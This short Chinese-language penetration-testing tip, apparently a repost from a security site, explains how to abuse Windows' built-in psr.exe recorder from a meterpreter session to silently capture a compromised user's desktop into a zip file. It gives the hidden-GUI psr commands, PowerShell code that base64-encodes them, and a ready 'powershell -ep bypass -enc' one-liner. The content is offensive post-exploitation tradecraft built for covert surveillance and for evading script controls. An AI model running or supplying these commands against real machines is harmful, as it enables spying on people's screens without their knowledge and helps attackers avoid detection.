**渗透技巧——如何巧妙利用PSR监控Windows桌面**

<http://static.hx99.net/static/drops/tips-13125.html>

利用windows自带的记录器，自动记录屏幕的操作，每次操作都会自动保存成一张图片，最终生成一份zip格式的报告。

psr.exe /start /gui 0 /output C:\test\capture.zip;

Start-Sleep -s 10;

psr.exe /stop;

可将以上代码保存为C:\test\1.txt，然后对其作base64加密

在Powershell环境下执行如下代码来对功能代码进行base64加密：

$string=Get-Content "C:\test\1.txt"

$bytes = [System.Text.Encoding]::Unicode.GetBytes($string)

$encoded = [System.Convert]::ToBase64String($bytes)

$encoded

然后就可以在meterpreter的shell下直接执行Powershell命令：

powershell -ep bypass -enc cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA